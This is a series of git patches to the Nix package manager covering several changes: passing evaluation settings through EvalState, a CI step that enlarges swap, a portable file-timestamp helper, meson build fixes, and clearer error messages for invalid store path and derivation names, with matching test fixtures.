a/src/libexpr/primops.cc b/src/libexpr/primops.cc index 98649f081..4e2aaf5b2 100644 --- a/src/libexpr/primops.cc +++ b/src/libexpr/primops.cc @@ -5,7 +5,6 @@ #include "eval.hh" #include "eval-settings.hh" #include "gc-small-vector.hh" -#include "globals.hh" #include "json-to-value.hh" #include "names.hh" #include "path-references.hh" @@ -78,7 +77,7 @@ StringMap EvalState::realiseContext(const NixStringContext & context, StorePathS if (drvs.empty()) return {}; - if (isIFD && !evalSettings.enableImportFromDerivation) + if (isIFD && !settings.enableImportFromDerivation) error( "cannot build '%1%' during evaluation because the option 'allow-import-from-derivation' is disabled", drvs.begin()->to_string(*store) @@ -901,7 +900,7 @@ static void prim_tryEval(EvalState & state, const PosIdx pos, Value * * args, Va MaintainCount trylevel(state.trylevel); ReplExitStatus (* savedDebugRepl)(ref es, const ValMap & extraEnv) = nullptr; - if (state.debugRepl && evalSettings.ignoreExceptionsDuringTry) + if (state.debugRepl && state.settings.ignoreExceptionsDuringTry) { /* to prevent starting the repl from exceptions withing a tryEval, null it. */ savedDebugRepl = state.debugRepl; @@ -950,7 +949,7 @@ static RegisterPrimOp primop_tryEval({ static void prim_getEnv(EvalState & state, const PosIdx pos, Value * * args, Value & v) { std::string name(state.forceStringNoCtx(*args[0], pos, "while evaluating the first argument passed to builtins.getEnv")); - v.mkString(evalSettings.restrictEval || evalSettings.pureEval ? "" : getEnv(name).value_or("")); + v.mkString(state.settings.restrictEval || state.settings.pureEval ? "" : getEnv(name).value_or("")); } static RegisterPrimOp primop_getEnv({ @@ -1017,7 +1016,7 @@ static void prim_trace(EvalState & state, const PosIdx pos, Value * * args, Valu printError("trace: %1%", args[0]->string_view()); else printError("trace: %1%", ValuePrinter(state, *args[0])); - if (evalSettings.builtinsTraceDebugger) { + if (state.settings.builtinsTraceDebugger) { state.runDebugRepl(nullptr); } state.forceValue(*args[1], pos); @@ -1056,11 +1055,11 @@ static void prim_warn(EvalState & state, const PosIdx pos, Value * * args, Value logWarning(info); } - if (evalSettings.builtinsAbortOnWarn) { + if (state.settings.builtinsAbortOnWarn) { // Not an EvalError or subclass, which would cause the error to be stored in the eval cache. state.error("aborting to reveal stack trace of warning, as abort-on-warn is set").setIsFromExpr().debugThrow(); } - if (evalSettings.builtinsTraceDebugger || evalSettings.builtinsDebuggerOnWarn) { + if (state.settings.builtinsTraceDebugger || state.settings.builtinsDebuggerOnWarn) { state.runDebugRepl(nullptr); } state.forceValue(*args[1], pos); @@ -1578,7 +1577,7 @@ static RegisterPrimOp primop_toPath({ corner cases. */ static void prim_storePath(EvalState & state, const PosIdx pos, Value * * args, Value & v) { - if (evalSettings.pureEval) + if (state.settings.pureEval) state.error( "'%s' is not allowed in pure evaluation mode", "builtins.storePath" @@ -4562,7 +4561,7 @@ void EvalState::createBaseEnv() )", }); - if (!evalSettings.pureEval) { + if (!settings.pureEval) { v.mkInt(time(0)); } addConstant("__currentTime", v, { @@ -4589,8 +4588,8 @@ void EvalState::createBaseEnv() .impureOnly = true, }); - if (!evalSettings.pureEval) - v.mkString(evalSettings.getCurrentSystem()); + if (!settings.pureEval) + v.mkString(settings.getCurrentSystem()); addConstant("__currentSystem", v, { .type = nString, .doc = R"( @@ -4670,7 +4669,7 @@ void EvalState::createBaseEnv() #ifndef _WIN32 // TODO implement on Windows // Miscellaneous - if (evalSettings.enableNativeCode) { + if (settings.enableNativeCode) { addPrimOp({ .name = "__importNative", .arity = 2, @@ -4693,7 +4692,7 @@ void EvalState::createBaseEnv() error if `--trace-verbose` is enabled. Then return *e2*. This function is useful for debugging. )", - .fun = evalSettings.traceVerbose ? prim_trace : prim_second, + .fun = settings.traceVerbose ? prim_trace : prim_second, }); /* Add a value containing the current Nix expression search path. */ diff --git a/src/libexpr/primops/fetchMercurial.cc b/src/libexpr/primops/fetchMercurial.cc index d9ba6aa97..7b5f4193a 100644 --- a/src/libexpr/primops/fetchMercurial.cc +++ b/src/libexpr/primops/fetchMercurial.cc @@ -53,7 +53,7 @@ static void prim_fetchMercurial(EvalState & state, const PosIdx pos, Value * * a // whitelist. Ah well. state.checkURI(url); - if (evalSettings.pureEval && !rev) + if (state.settings.pureEval && !rev) throw Error("in pure evaluation mode, 'fetchMercurial' requires a Mercurial revision"); fetchers::Attrs attrs; diff --git a/src/libexpr/primops/fetchTree.cc b/src/libexpr/primops/fetchTree.cc index a99a71577..7b05c5b48 100644 --- a/src/libexpr/primops/fetchTree.cc +++ b/src/libexpr/primops/fetchTree.cc @@ -171,10 +171,10 @@ static void fetchTree( } } - if (!evalSettings.pureEval && !input.isDirect() && experimentalFeatureSettings.isEnabled(Xp::Flakes)) + if (!state.settings.pureEval && !input.isDirect() && experimentalFeatureSettings.isEnabled(Xp::Flakes)) input = lookupInRegistries(state.store, input).first; - if (evalSettings.pureEval && !input.isLocked()) { + if (state.settings.pureEval && !input.isLocked()) { auto fetcher = "fetchTree"; if (params.isFetchGit) fetcher = "fetchGit"; @@ -453,14 +453,14 @@ static void fetch(EvalState & state, const PosIdx pos, Value * * args, Value & v url = state.forceStringNoCtx(*args[0], pos, "while evaluating the url we should fetch"); if (who == "fetchTarball") - url = evalSettings.resolvePseudoUrl(*url); + url = state.settings.resolvePseudoUrl(*url); state.checkURI(*url); if (name == "") name = baseNameOf(*url); - if (evalSettings.pureEval && !expectedHash) + if (state.settings.pureEval && !expectedHash) state.error("in pure evaluation mode, '%s' requires a 'sha256' argument", who).atPos(pos).debugThrow(); // early exit if pinned and already in the store diff --git a/src/nix-build/nix-build.cc b/src/nix-build/nix-build.cc index 77df08edd..57630c8c3 100644 --- a/src/nix-build/nix-build.cc +++ b/src/nix-build/nix-build.cc @@ -259,7 +259,7 @@ static void main_nix_build(int argc, char * * argv) auto store = openStore(); auto evalStore = myArgs.evalStoreUrl ? openStore(*myArgs.evalStoreUrl) : store; - auto state = std::make_unique(myArgs.lookupPath, evalStore, store); + auto state = std::make_unique(myArgs.lookupPath, evalStore, evalSettings, store); state->repair = myArgs.repair; if (myArgs.repair) buildMode = bmRepair; diff --git a/src/nix-env/nix-env.cc b/src/nix-env/nix-env.cc index b5e13cc23..c72378cd5 100644 --- a/src/nix-env/nix-env.cc +++ b/src/nix-env/nix-env.cc @@ -1525,7 +1525,7 @@ static int main_nix_env(int argc, char * * argv) auto store = openStore(); - globals.state = std::shared_ptr(new EvalState(myArgs.lookupPath, store)); + globals.state = std::shared_ptr(new EvalState(myArgs.lookupPath, store, evalSettings)); globals.state->repair = myArgs.repair; globals.instSource.nixExprPath = std::make_shared( diff --git a/src/nix-instantiate/nix-instantiate.cc b/src/nix-instantiate/nix-instantiate.cc index 35664374c..a4bfeebbb 100644 --- a/src/nix-instantiate/nix-instantiate.cc +++ b/src/nix-instantiate/nix-instantiate.cc @@ -157,7 +157,7 @@ static int main_nix_instantiate(int argc, char * * argv) auto store = openStore(); auto evalStore = myArgs.evalStoreUrl ? openStore(*myArgs.evalStoreUrl) : store; - auto state = std::make_unique(myArgs.lookupPath, evalStore, store); + auto state = std::make_unique(myArgs.lookupPath, evalStore, evalSettings, store); state->repair = myArgs.repair; Bindings & autoArgs = *myArgs.getAutoArgs(*state); diff --git a/src/nix/main.cc b/src/nix/main.cc index 81d368d6a..e95558781 100644 --- a/src/nix/main.cc +++ b/src/nix/main.cc @@ -242,7 +242,7 @@ static void showHelp(std::vector subcommand, NixArgs & toplevel) evalSettings.restrictEval = false; evalSettings.pureEval = false; - EvalState state({}, openStore("dummy://")); + EvalState state({}, openStore("dummy://"), evalSettings); auto vGenerateManpage = state.allocValue(); state.eval(state.parseExprFromString( @@ -418,7 +418,7 @@ void mainWrapped(int argc, char * * argv) Xp::FetchTree, }; evalSettings.pureEval = false; - EvalState state({}, openStore("dummy://")); + EvalState state({}, openStore("dummy://"), evalSettings); auto res = nlohmann::json::object(); res["builtins"] = ({ auto builtinsJson = nlohmann::json::object(); diff --git a/src/nix/prefetch.cc b/src/nix/prefetch.cc index 3ce52acc5..ce79e576f 100644 --- a/src/nix/prefetch.cc +++ b/src/nix/prefetch.cc @@ -193,7 +193,7 @@ static int main_nix_prefetch_url(int argc, char * * argv) startProgressBar(); auto store = openStore(); - auto state = std::make_unique(myArgs.lookupPath, store); + auto state = std::make_unique(myArgs.lookupPath, store, evalSettings); Bindings & autoArgs = *myArgs.getAutoArgs(*state); diff --git a/src/nix/upgrade-nix.cc b/src/nix/upgrade-nix.cc index 17d1edb97..29297253b 100644 --- a/src/nix/upgrade-nix.cc +++ b/src/nix/upgrade-nix.cc @@ -147,7 +147,7 @@ struct CmdUpgradeNix : MixDryRun, StoreCommand auto req = FileTransferRequest((std::string&) settings.upgradeNixStorePathUrl); auto res = getFileTransfer()->download(req); - auto state = std::make_unique(LookupPath{}, store); + auto state = std::make_unique(LookupPath{}, store, evalSettings); auto v = state->allocValue(); state->eval(state->parseExprFromString(res.data, state->rootPath(CanonPath("/no-such-path"))), *v); Bindings & bindings(*state->allocBindings(0)); diff --git a/tests/unit/libexpr-support/tests/libexpr.hh b/tests/unit/libexpr-support/tests/libexpr.hh index 1a4313990..eacbf0d5c 100644 --- a/tests/unit/libexpr-support/tests/libexpr.hh +++ b/tests/unit/libexpr-support/tests/libexpr.hh @@ -19,14 +19,14 @@ namespace nix { static void SetUpTestSuite() { LibStoreTest::SetUpTestSuite(); initGC(); - evalSettings.nixPath = {}; } protected: LibExprTest() : LibStoreTest() - , state({}, store) + , state({}, store, evalSettings, nullptr) { + evalSettings.nixPath = {}; } Value eval(std::string input, bool forceValue = true) { Value v; @@ -42,6 +42,8 @@ namespace nix { return state.symbols.create(value); } + bool readOnlyMode = true; + EvalSettings evalSettings{readOnlyMode}; EvalState state; }; From 445a4a02987ae24b69597dfb7debaeb9a474d26d Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Mon, 24 Jun 2024 19:02:22 +0200 Subject: [PATCH 0883/1251] ci.yml: Add swap and monitor it --- .github/workflows/ci.yml | 17 +++++++++++++++++ 1 file changed, 17 insertions(+) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 6362620b0..2cd908f9e 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -31,6 +31,23 @@ jobs: name: '${{ env.CACHIX_NAME }}' signingKey: '${{ secrets.CACHIX_SIGNING_KEY }}' authToken: '${{ secrets.CACHIX_AUTH_TOKEN }}' + - if: matrix.os == 'ubuntu-latest' + run: | + free -h + swapon --show + swap=$(swapon --show --noheadings | head -n 1 | awk '{print $1}') + echo "Found swap: $swap" + sudo swapoff $swap + # resize it (fallocate) + sudo fallocate -l 10G $swap + sudo mkswap $swap + sudo swapon $swap + free -h + ( + while sleep 60; do + free -h + done + ) & - run: nix --experimental-features 'nix-command flakes' flake check -L # Steps to test CI automation in your own fork. From 05580a373f5f85b97927dafff5a50486a7c1dbd9 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Mon, 24 Jun 2024 17:17:54 -0400 Subject: [PATCH 0884/1251] Fix error in the no-GC build --- src/libcmd/command.cc | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/src/libcmd/command.cc b/src/libcmd/command.cc index 23aaaf2ad..74d146c66 100644 --- a/src/libcmd/command.cc +++ b/src/libcmd/command.cc @@ -126,9 +126,11 @@ ref EvalCommand::getEvalState() { if (!evalState) { evalState = - std::allocate_shared( #if HAVE_BOEHMGC + std::allocate_shared( traceable_allocator(), + #else + std::make_shared( #endif lookupPath, getEvalStore(), evalSettings, getStore()) ; From 5be44d235a2aaaeb9da58bcb8502fa5cae0f1d30 Mon Sep 17 00:00:00 2001 From: Brian McKenna Date: Thu, 15 Sep 2022 05:56:57 +0000 Subject: [PATCH 0885/1251] Guard uses of lutimes, for portability --- src/libfetchers/git.cc | 22 ++------ src/libstore/posix-fs-canonicalise.cc | 16 ++---- src/libutil/file-system.cc | 78 ++++++++++++++++++++------- src/libutil/file-system.hh | 24 +++++++++ 4 files changed, 90 insertions(+), 50 deletions(-) diff --git a/src/libfetchers/git.cc b/src/libfetchers/git.cc index ce80932f6..184c1383e 100644 --- a/src/libfetchers/git.cc +++ b/src/libfetchers/git.cc @@ -41,21 +41,6 @@ bool isCacheFileWithinTtl(time_t now, const struct stat & st) return st.st_mtime + settings.tarballTtl > now; } -bool touchCacheFile(const Path & path, time_t touch_time) -{ -#ifndef _WIN32 // TODO implement - struct timeval times[2]; - times[0].tv_sec = touch_time; - times[0].tv_usec = 0; - times[1].tv_sec = touch_time; - times[1].tv_usec = 0; - - return lutimes(path.c_str(), times) == 0; -#else - return false; -#endif -} - Path getCachePath(std::string_view key, bool shallow) { return getCacheDir() @@ -594,8 +579,11 @@ struct GitInputScheme : InputScheme warn("could not update local clone of Git repository '%s'; continuing with the most recent version", repoInfo.url); } - if (!touchCacheFile(localRefFile, now)) - warn("could not update mtime for file '%s': %s", localRefFile, strerror(errno)); + try { + setWriteTime(localRefFile, now, now); + } catch (Error & e) { + warn("could not update mtime for file '%s': %s", localRefFile, e.msg()); + } if (!originalRef && !storeCachedHead(repoInfo.url, ref)) warn("could not update cached head '%s' for '%s'", ref, repoInfo.url); } diff --git a/src/libstore/posix-fs-canonicalise.cc b/src/libstore/posix-fs-canonicalise.cc index 8cb13d810..46a78cc86 100644 --- a/src/libstore/posix-fs-canonicalise.cc +++ b/src/libstore/posix-fs-canonicalise.cc @@ -33,19 +33,9 @@ static void canonicaliseTimestampAndPermissions(const Path & path, const struct #ifndef _WIN32 // TODO implement if (st.st_mtime != mtimeStore) { - struct timeval times[2]; - times[0].tv_sec = st.st_atime; - times[0].tv_usec = 0; - times[1].tv_sec = mtimeStore; - times[1].tv_usec = 0; -#if HAVE_LUTIMES - if (lutimes(path.c_str(), times) == -1) - if (errno != ENOSYS || - (!S_ISLNK(st.st_mode) && utimes(path.c_str(), times) == -1)) -#else - if (!S_ISLNK(st.st_mode) && utimes(path.c_str(), times) == -1) -#endif - throw SysError("changing modification time of '%1%'", path); + struct stat st2 = st; + st2.st_mtime = mtimeStore, + setWriteTime(path, st2); } #endif } diff --git a/src/libutil/file-system.cc b/src/libutil/file-system.cc index 443ccf829..2536361b2 100644 --- a/src/libutil/file-system.cc +++ b/src/libutil/file-system.cc @@ -557,29 +557,69 @@ void replaceSymlink(const Path & target, const Path & link) } } -#ifndef _WIN32 -static void setWriteTime(const fs::path & p, const struct stat & st) +void setWriteTime( + const std::filesystem::path & path, + time_t accessedTime, + time_t modificationTime, + std::optional optIsSymlink) { - struct timeval times[2]; - times[0] = { - .tv_sec = st.st_atime, - .tv_usec = 0, +#ifndef _WIN32 + struct timeval times[2] = { + { + .tv_sec = accessedTime, + .tv_usec = 0, + }, + { + .tv_sec = modificationTime, + .tv_usec = 0, + }, }; - times[1] = { - .tv_sec = st.st_mtime, - .tv_usec = 0, - }; - if (lutimes(p.c_str(), times) != 0) - throw SysError("changing modification time of '%s'", p); -} #endif + auto nonSymlink = [&]{ + bool isSymlink = optIsSymlink + ? *optIsSymlink + : fs::is_symlink(path); + + if (!isSymlink) { +#ifdef _WIN32 + // FIXME use `fs::last_write_time`. + // + // Would be nice to use std::filesystem unconditionally, but + // doesn't support access time just modification time. + // + // System clock vs File clock issues also make that annoying. + warn("Changing file times is not yet implemented on Windows, path is '%s'", path); +#else + if (utimes(path.c_str(), times) == -1) { + + throw SysError("changing modification time of '%s' (not a symlink)", path); + } +#endif + } else { + throw Error("Cannot modification time of symlink '%s'", path); + } + }; + +#if HAVE_LUTIMES + if (lutimes(path.c_str(), times) == -1) { + if (errno == ENOSYS) + nonSymlink(); + else + throw SysError("changing modification time of '%s'", path); + } +#else + nonSymlink(); +#endif +} + +void setWriteTime(const fs::path & path, const struct stat & st) +{ + setWriteTime(path, st.st_atime, st.st_mtime, S_ISLNK(st.st_mode)); +} + void copyFile(const fs::path & from, const fs::path & to, bool andDelete) { -#ifndef _WIN32 - // TODO: Rewrite the `is_*` to use `symlink_status()` - auto statOfFrom = lstat(from.c_str()); -#endif auto fromStatus = fs::symlink_status(from); // Mark the directory as writable so that we can delete its children @@ -599,9 +639,7 @@ void copyFile(const fs::path & from, const fs::path & to, bool andDelete) throw Error("file '%s' has an unsupported type", from); } -#ifndef _WIN32 - setWriteTime(to, statOfFrom); -#endif + setWriteTime(to, lstat(from.string().c_str())); if (andDelete) { if (!fs::is_symlink(fromStatus)) fs::permissions(from, fs::perms::owner_write, fs::perm_options::add | fs::perm_options::nofollow); diff --git a/src/libutil/file-system.hh b/src/libutil/file-system.hh index 9405cda0c..aeea80e00 100644 --- a/src/libutil/file-system.hh +++ b/src/libutil/file-system.hh @@ -156,6 +156,30 @@ inline void createDirs(PathView path) return createDirs(Path(path)); } +/** + * Set the access and modification times of the given path, not + * following symlinks. + * + * @param accessTime Specified in seconds. + * + * @param modificationTime Specified in seconds. + * + * @param isSymlink Whether the file in question is a symlink. Used for + * fallback code where we don't have `lutimes` or similar. if + * `std::optional` is passed, the information will be recomputed if it + * is needed. Race conditions are possible so be careful! + */ +void setWriteTime( + const std::filesystem::path & path, + time_t accessedTime, + time_t modificationTime, + std::optional isSymlink = std::nullopt); + +/** + * Convenience wrapper that takes all arguments from the `struct stat`. + */ +void setWriteTime(const std::filesystem::path & path, const struct stat & st); + /** * Create a symlink. */ From 1801119e2919b2a746964fd6e9a12f44f267b711 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Tue, 25 Jun 2024 10:14:06 +0200 Subject: [PATCH 0886/1251] ci.yml: Add meson_build Restore meson CI after https://github.com/NixOS/nix/pull/10929 --- .github/workflows/ci.yml | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 2cd908f9e..c9e4c25ea 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -193,3 +193,11 @@ jobs: - uses: DeterminateSystems/nix-installer-action@main - uses: DeterminateSystems/magic-nix-cache-action@main - run: nix build -L .#hydraJobs.tests.githubFlakes .#hydraJobs.tests.tarballFlakes .#hydraJobs.tests.functional_user + + meson_build: + runs-on: ubuntu-22.04 + steps: + - uses: actions/checkout@v4 + - uses: DeterminateSystems/nix-installer-action@main + - uses: DeterminateSystems/magic-nix-cache-action@main + - run: nix build -L .#hydraJobs.build.{nix-fetchers,nix-store,nix-util}.$(nix-instantiate --eval --expr builtins.currentSystem | sed -e 's/"//g') From 0674be8d498d6ad1ca8bb383b26107ccdb64148d Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Tue, 25 Jun 2024 10:21:34 +0200 Subject: [PATCH 0887/1251] nix-util: Fix build --- src/libutil/meson.build | 2 ++ 1 file changed, 2 insertions(+) diff --git a/src/libutil/meson.build b/src/libutil/meson.build index 2259d4e22..9d0b28539 100644 --- a/src/libutil/meson.build +++ b/src/libutil/meson.build @@ -161,6 +161,7 @@ sources = files( 'compression.cc', 'compute-levels.cc', 'config.cc', + 'config-global.cc', 'current-process.cc', 'english.cc', 'environment-variables.cc', @@ -211,6 +212,7 @@ headers = [config_h] + files( 'comparator.hh', 'compression.hh', 'compute-levels.hh', + 'config-global.hh', 'config-impl.hh', 'config.hh', 'current-process.hh', From 7df9d6da6542c06ba017e8dec1b63751a4bae847 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Thu, 20 Jun 2024 22:20:17 +0200 Subject: [PATCH 0888/1251] Improve error messages for invalid derivation names --- src/libexpr/primops.cc | 22 ++++++++++++++ src/libexpr/primops/fetchTree.cc | 22 ++++++++++++-- src/libstore/path.cc | 30 ++++++++++++------- src/libstore/path.hh | 9 ++++++ src/libstore/store-dir-config.hh | 1 + src/libutil/error.hh | 1 + src/libutil/fmt.hh | 2 ++ .../lang/eval-fail-derivation-name.err.exp | 26 ++++++++++++++++ .../lang/eval-fail-derivation-name.nix | 5 ++++ ...-fail-fetchurl-baseName-attrs-name.err.exp | 8 +++++ ...eval-fail-fetchurl-baseName-attrs-name.nix | 1 + .../eval-fail-fetchurl-baseName-attrs.err.exp | 8 +++++ .../eval-fail-fetchurl-baseName-attrs.nix | 1 + .../lang/eval-fail-fetchurl-baseName.err.exp | 8 +++++ .../lang/eval-fail-fetchurl-baseName.nix | 1 + tests/unit/libstore/path.cc | 16 ++++++++-- 16 files changed, 145 insertions(+), 16 deletions(-) create mode 100644 tests/functional/lang/eval-fail-derivation-name.err.exp create mode 100644 tests/functional/lang/eval-fail-derivation-name.nix create mode 100644 tests/functional/lang/eval-fail-fetchurl-baseName-attrs-name.err.exp create mode 100644 tests/functional/lang/eval-fail-fetchurl-baseName-attrs-name.nix create mode 100644 tests/functional/lang/eval-fail-fetchurl-baseName-attrs.err.exp create mode 100644 tests/functional/lang/eval-fail-fetchurl-baseName-attrs.nix create mode 100644 tests/functional/lang/eval-fail-fetchurl-baseName.err.exp create mode 100644 tests/functional/lang/eval-fail-fetchurl-baseName.nix diff --git a/src/libexpr/primops.cc b/src/libexpr/primops.cc index 000fce455..212441019 100644 --- a/src/libexpr/primops.cc +++ b/src/libexpr/primops.cc @@ -1162,12 +1162,34 @@ static void prim_derivationStrict(EvalState & state, const PosIdx pos, Value * * } } +/** + * Early validation for the derivation name, for better error message. + * It is checked again when constructing store paths. + * + * @todo Check that the `.drv` suffix also fits. + */ +static void checkDerivationName(EvalState & state, std::string_view drvName) +{ + try { + checkName(drvName); + } catch (BadStorePathName & e) { + // "Please pass a different name": Users may not be aware that they can + // pass a different one, in functions like `fetchurl` where the name + // is optional. + // Note that Nixpkgs generally won't trigger this, because `mkDerivation` + // sanitizes the name. + state.error("invalid derivation name: %s. Please pass a different '%s'.", Uncolored(e.message()), "name").debugThrow(); + } +} + static void derivationStrictInternal( EvalState & state, const std::string & drvName, const Bindings * attrs, Value & v) { + checkDerivationName(state, drvName); + /* Check whether attributes should be passed as a JSON file. */ using nlohmann::json; std::optional jsonObject; diff --git a/src/libexpr/primops/fetchTree.cc b/src/libexpr/primops/fetchTree.cc index db2cc0d2b..fa6b1c4b6 100644 --- a/src/libexpr/primops/fetchTree.cc +++ b/src/libexpr/primops/fetchTree.cc @@ -431,7 +431,10 @@ static void fetch(EvalState & state, const PosIdx pos, Value * * args, Value & v state.forceValue(*args[0], pos); - if (args[0]->type() == nAttrs) { + bool isArgAttrs = args[0]->type() == nAttrs; + bool nameAttrPassed = false; + + if (isArgAttrs) { for (auto & attr : *args[0]->attrs()) { std::string_view n(state.symbols[attr.name]); @@ -439,8 +442,10 @@ static void fetch(EvalState & state, const PosIdx pos, Value * * args, Value & v url = state.forceStringNoCtx(*attr.value, attr.pos, "while evaluating the url we should fetch"); else if (n == "sha256") expectedHash = newHashAllowEmpty(state.forceStringNoCtx(*attr.value, attr.pos, "while evaluating the sha256 of the content we should fetch"), HashAlgorithm::SHA256); - else if (n == "name") + else if (n == "name") { + nameAttrPassed = true; name = state.forceStringNoCtx(*attr.value, attr.pos, "while evaluating the name of the content we should fetch"); + } else state.error("unsupported argument '%s' to '%s'", n, who) .atPos(pos).debugThrow(); @@ -460,6 +465,19 @@ static void fetch(EvalState & state, const PosIdx pos, Value * * args, Value & v if (name == "") name = baseNameOf(*url); + try { + checkName(name); + } catch (BadStorePathName & e) { + auto resolution = + nameAttrPassed ? HintFmt("Please change the value for the 'name' attribute passed to '%s', so that it can create a valid store path.", who) : + isArgAttrs ? HintFmt("Please add a valid 'name' attribute to the argument for '%s', so that it can create a valid store path.", who) : + HintFmt("Please pass an attribute set with 'url' and 'name' attributes to '%s', so that it can create a valid store path.", who); + + state.error( + std::string("invalid store path name when fetching URL '%s': %s. %s"), *url, Uncolored(e.message()), Uncolored(resolution.str())) + .atPos(pos).debugThrow(); + } + if (state.settings.pureEval && !expectedHash) state.error("in pure evaluation mode, '%s' requires a 'sha256' argument", who).atPos(pos).debugThrow(); diff --git a/src/libstore/path.cc b/src/libstore/path.cc index 8d9726722..3e9d05477 100644 --- a/src/libstore/path.cc +++ b/src/libstore/path.cc @@ -2,25 +2,24 @@ namespace nix { -static void checkName(std::string_view path, std::string_view name) +void checkName(std::string_view name) { if (name.empty()) - throw BadStorePath("store path '%s' has an empty name", path); + throw BadStorePathName("name must not be empty"); if (name.size() > StorePath::MaxPathLen) - throw BadStorePath("store path '%s' has a name longer than %d characters", - path, StorePath::MaxPathLen); + throw BadStorePathName("name '%s' must be no longer than %d characters", name, StorePath::MaxPathLen); // See nameRegexStr for the definition if (name[0] == '.') { // check against "." and "..", followed by end or dash if (name.size() == 1) - throw BadStorePath("store path '%s' has invalid name '%s'", path, name); + throw BadStorePathName("name '%s' is not valid", name); if (name[1] == '-') - throw BadStorePath("store path '%s' has invalid name '%s': first dash-separated component must not be '%s'", path, name, "."); + throw BadStorePathName("name '%s' is not valid: first dash-separated component must not be '%s'", name, "."); if (name[1] == '.') { if (name.size() == 2) - throw BadStorePath("store path '%s' has invalid name '%s'", path, name); + throw BadStorePathName("name '%s' is not valid", name); if (name[2] == '-') - throw BadStorePath("store path '%s' has invalid name '%s': first dash-separated component must not be '%s'", path, name, ".."); + throw BadStorePathName("name '%s' is not valid: first dash-separated component must not be '%s'", name, ".."); } } for (auto c : name) @@ -28,7 +27,16 @@ static void checkName(std::string_view path, std::string_view name) || (c >= 'a' && c <= 'z') || (c >= 'A' && c <= 'Z') || c == '+' || c == '-' || c == '.' || c == '_' || c == '?' || c == '=')) - throw BadStorePath("store path '%s' contains illegal character '%s'", path, c); + throw BadStorePathName("name '%s' contains illegal character '%s'", name, c); +} + +static void checkPathName(std::string_view path, std::string_view name) +{ + try { + checkName(name); + } catch (BadStorePathName & e) { + throw BadStorePath("path '%s' is not a valid store path: %s", path, Uncolored(e.message())); + } } StorePath::StorePath(std::string_view _baseName) @@ -40,13 +48,13 @@ StorePath::StorePath(std::string_view _baseName) if (c == 'e' || c == 'o' || c == 'u' || c == 't' || !((c >= '0' && c <= '9') || (c >= 'a' && c <= 'z'))) throw BadStorePath("store path '%s' contains illegal base-32 character '%s'", baseName, c); - checkName(baseName, name()); + checkPathName(baseName, name()); } StorePath::StorePath(const Hash & hash, std::string_view _name) : baseName((hash.to_string(HashFormat::Nix32, false) + "-").append(std::string(_name))) { - checkName(baseName, name()); + checkPathName(baseName, name()); } bool StorePath::isDerivation() const noexcept diff --git a/src/libstore/path.hh b/src/libstore/path.hh index 4abbfcd7c..2380dc6a2 100644 --- a/src/libstore/path.hh +++ b/src/libstore/path.hh @@ -9,6 +9,13 @@ namespace nix { struct Hash; +/** + * Check whether a name is a valid store path name. + * + * @throws BadStorePathName if the name is invalid. The message is of the format "name %s is not valid, for this specific reason". + */ +void checkName(std::string_view name); + /** * \ref StorePath "Store path" is the fundamental reference type of Nix. * A store paths refers to a Store object. @@ -31,8 +38,10 @@ public: StorePath() = delete; + /** @throws BadStorePath */ StorePath(std::string_view baseName); + /** @throws BadStorePath */ StorePath(const Hash & hash, std::string_view name); std::string_view to_string() const noexcept diff --git a/src/libstore/store-dir-config.hh b/src/libstore/store-dir-config.hh index fe86ce40d..64c0dd8b7 100644 --- a/src/libstore/store-dir-config.hh +++ b/src/libstore/store-dir-config.hh @@ -16,6 +16,7 @@ namespace nix { struct SourcePath; MakeError(BadStorePath, Error); +MakeError(BadStorePathName, BadStorePath); struct StoreDirConfig : public Config { diff --git a/src/libutil/error.hh b/src/libutil/error.hh index 269000016..4b08a045e 100644 --- a/src/libutil/error.hh +++ b/src/libutil/error.hh @@ -155,6 +155,7 @@ public: : err(e) { } + /** The error message without "error: " prefixed to it. */ std::string message() { return err.msg.str(); } diff --git a/src/libutil/fmt.hh b/src/libutil/fmt.hh index ef44a8409..850b7162d 100644 --- a/src/libutil/fmt.hh +++ b/src/libutil/fmt.hh @@ -111,6 +111,8 @@ std::ostream & operator<<(std::ostream & out, const Magenta & y) /** * Values wrapped in this class are printed without coloring. * + * Specifically, the color is reset to normal before printing the value. + * * By default, arguments to `HintFmt` are printed in magenta (see `Magenta`). */ template diff --git a/tests/functional/lang/eval-fail-derivation-name.err.exp b/tests/functional/lang/eval-fail-derivation-name.err.exp new file mode 100644 index 000000000..eb2206df1 --- /dev/null +++ b/tests/functional/lang/eval-fail-derivation-name.err.exp @@ -0,0 +1,26 @@ +error: + … while evaluating the attribute 'outPath' + at :19:9: + 18| value = commonAttrs // { + 19| outPath = builtins.getAttr outputName strict; + | ^ + 20| drvPath = strict.drvPath; + + … while calling the 'getAttr' builtin + at :19:19: + 18| value = commonAttrs // { + 19| outPath = builtins.getAttr outputName strict; + | ^ + 20| drvPath = strict.drvPath; + + … while calling the 'derivationStrict' builtin + at :9:12: + 8| + 9| strict = derivationStrict drvAttrs; + | ^ + 10| + + … while evaluating derivation '~jiggle~' + whose name attribute is located at /pwd/lang/eval-fail-derivation-name.nix:2:3 + + error: invalid derivation name: name '~jiggle~' contains illegal character '~'. Please pass a different 'name'. diff --git a/tests/functional/lang/eval-fail-derivation-name.nix b/tests/functional/lang/eval-fail-derivation-name.nix new file mode 100644 index 000000000..e779ad6ff --- /dev/null +++ b/tests/functional/lang/eval-fail-derivation-name.nix @@ -0,0 +1,5 @@ +derivation { + name = "~jiggle~"; + system = "some-system"; + builder = "/dontcare"; +} diff --git a/tests/functional/lang/eval-fail-fetchurl-baseName-attrs-name.err.exp b/tests/functional/lang/eval-fail-fetchurl-baseName-attrs-name.err.exp new file mode 100644 index 000000000..30f8b6a35 --- /dev/null +++ b/tests/functional/lang/eval-fail-fetchurl-baseName-attrs-name.err.exp @@ -0,0 +1,8 @@ +error: + … while calling the 'fetchurl' builtin + at /pwd/lang/eval-fail-fetchurl-baseName-attrs-name.nix:1:1: + 1| builtins.fetchurl { url = "https://example.com/foo.tar.gz"; name = "~wobble~"; } + | ^ + 2| + + error: invalid store path name when fetching URL 